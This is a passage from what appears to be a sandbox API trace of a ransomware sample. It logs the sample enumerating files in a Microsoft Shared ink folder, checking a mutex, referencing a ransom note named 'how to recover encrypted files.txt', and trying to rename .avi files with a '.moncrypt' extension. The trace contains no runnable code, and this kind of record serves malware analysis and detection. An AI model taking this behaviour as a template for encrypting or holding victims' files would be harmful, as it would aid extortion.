dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.042] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.042] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0046.043] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.043] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.043] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.043] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.043] GlobalUnlock (hMem=0x44000c) returned 0 [0046.043] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.043] GlobalLock (hMem=0x440004) returned 0x554190 [0046.043] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.043] GlobalUnlock (hMem=0x44000c) returned 0 [0046.043] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.043] GlobalUnlock (hMem=0x440004) returned 0 [0046.043] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.043] CharLowerBuffW (in: lpsz="join.avi", cchLength=0x8 | out: lpsz="join.avi") returned 0x8 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.043] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.043] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.043] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".avi", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".aviShared\\ink\\en-US\\join.avi", lpUsedDefaultChar=0x0) returned 4 [0046.043] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 0x54e240 [0046.043] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.043] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.044] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", dwFileAttributes=0x20) returned 0 [0046.044] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.044] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.moncrypt")) returned 0 [0046.044] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.044] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.044] GlobalLock (hMem=0x440004) returned 0x552180 [0046.044] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.044] GlobalUnlock (hMem=0x440004) returned 0 [0046.044] GlobalLock (hMem=0x440004) returned 0x552180 [0046.044] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.044] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.044] GlobalUnlock (hMem=0x440004) returned 0 [0046.044] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.045] GlobalUnlock (hMem=0x44000c) returned 0 [0046.045] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.045] CharLowerBuffW (in: lpsz="micaut.dll.mui", cchLength=0xe | out: lpsz="micaut.dll.mui") returned 0xe [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.045] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.045] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.045] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\en-US\\micaut.dll.mui", lpUsedDefaultChar=0x0) returned 4 [0046.045] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.045] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.045] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.045] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.045] GlobalUnlock (hMem=0x44000c) returned 0 [0046.045] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.045] GlobalLock (hMem=0x440004) returned 0x554190 [0046.045] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.045] GlobalUnlock (hMem=0x44000c) returned 0 [0046.046] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.046] GlobalUnlock (hMem=0x440004) returned 0 [0046.046] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.046] CharLowerBuffW (in: lpsz="mip.exe.mui", cchLength=0xb | out: lpsz="mip.exe.mui") returned 0xb [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.046] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.046] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.046] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.046] GlobalLock (hMem=0x440004) returned 0x552180 [0046.046] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.046] GlobalUnlock (hMem=0x440004) returned 0 [0046.046] GlobalLock (hMem=0x440004) returned 0x552180 [0046.046] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.046] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.046] GlobalUnlock (hMem=0x440004) returned 0 [0046.046] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.046] GlobalUnlock (hMem=0x44000c) returned 0 [0046.046] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.046] CharLowerBuffW (in: lpsz="mshwLatin.dll.mui", cchLength=0x11 | out: lpsz="mshwlatin.dll.mui") returned 0x11 [0046.047] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.047] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.047] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.047] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.047] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.047] GlobalUnlock (hMem=0x44000c) returned 0 [0046.047] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.047] GlobalLock (hMem=0x440004) returned 0x554190 [0046.047] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.047] GlobalUnlock (hMem=0x44000c) returned 0 [0046.047] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.047] GlobalUnlock (hMem=0x440004) returned 0 [0046.047] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.047] CharLowerBuffW (in: lpsz="rtscom.dll.mui", cchLength=0xe | out: lpsz="rtscom.dll.mui") returned 0xe [0046.047] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.047] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.047] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.047] GlobalLock (hMem=0x440004) returned 0x552180 [0046.047] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.047] GlobalUnlock (hMem=0x440004) returned 0 [0046.047] GlobalLock (hMem=0x440004) returned 0x552180 [0046.047] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.047] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.047] GlobalUnlock (hMem=0x440004) returned 0 [0046.047] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.047] GlobalUnlock (hMem=0x44000c) returned 0 [0046.047] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.047] CharLowerBuffW (in: lpsz="ShapeCollector.exe.mui", cchLength=0x16 | out: lpsz="shapecollector.exe.mui") returned 0x16 [0046.047] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.048] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.048] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.048] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.048] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.048] GlobalUnlock (hMem=0x44000c) returned 0 [0046.048] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.048] GlobalLock (hMem=0x440004) returned 0x554190 [0046.048] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.048] GlobalUnlock (hMem=0x44000c) returned 0 [0046.048] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.048] GlobalUnlock (hMem=0x440004) returned 0 [0046.048] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.048] CharLowerBuffW (in: lpsz="split.avi", cchLength=0x9 | out: lpsz="split.avi") returned 0x9 [0046.048] CharLowerBuffW (in: lpsz=".avi", cchLength=0x4 | out: lpsz=".avi") returned 0x4 [0046.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 0x54e240 [0046.048] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0046.048] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0046.048] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0046.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi", dwFileAttributes=0x20) returned 0 [0046.049] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18潔瘱暼癀") returned 9 [0046.049] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.moncrypt")) returned 0 [0046.049] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.049] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.049] GlobalLock (hMem=0x440004) returned 0x552180 [0046.049] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.049] GlobalUnlock (hMem=0x440004) returned 0 [0046.049] GlobalLock (hMem=0x440004) returned 0x552180 [0046.049] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.049] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.049] GlobalUnlock (hMem=0x440004) returned 0 [0046.049] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.049] GlobalUnlock (hMem=0x44000c) returned 0 [0046.049] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.049] CharLowerBuffW (in: lpsz="tabskb.dll.mui", cchLength=0xe | out: lpsz="tabskb.dll.mui") returned 0xe [0046.049] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.049] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.049] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.049] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.049] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.049] GlobalUnlock (hMem=0x44000c) returned 0 [0046.049] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.050] GlobalLock (hMem=0x440004) returned 0x554190 [0046.050] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.050] GlobalUnlock (hMem=0x44000c) returned 0 [0046.050] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.050] GlobalUnlock (hMem=0x440004) returned 0 [0046.050] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.050] CharLowerBuffW (in: lpsz="TipBand.dll.mui", cchLength=0xf | out: lpsz="tipband.dll.mui") returned 0xf [0046.050] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.050] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.050] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.050] GlobalLock (hMem=0x440004) returned 0x552180 [0046.050] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.050] GlobalUnlock (hMem=0x440004) returned 0 [0046.050] GlobalLock (hMem=0x440004) returned 0x552180 [0046.050] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.050] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.050] GlobalUnlock (hMem=0x440004) returned 0 [0046.050] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.050] GlobalUnlock (hMem=0x44000c) returned 0 [0046.050] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.050] CharLowerBuffW (in: lpsz="TipRes.dll.mui", cchLength=0xe | out: lpsz="tipres.dll.mui") returned 0xe [0046.050] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.050] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.050] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: 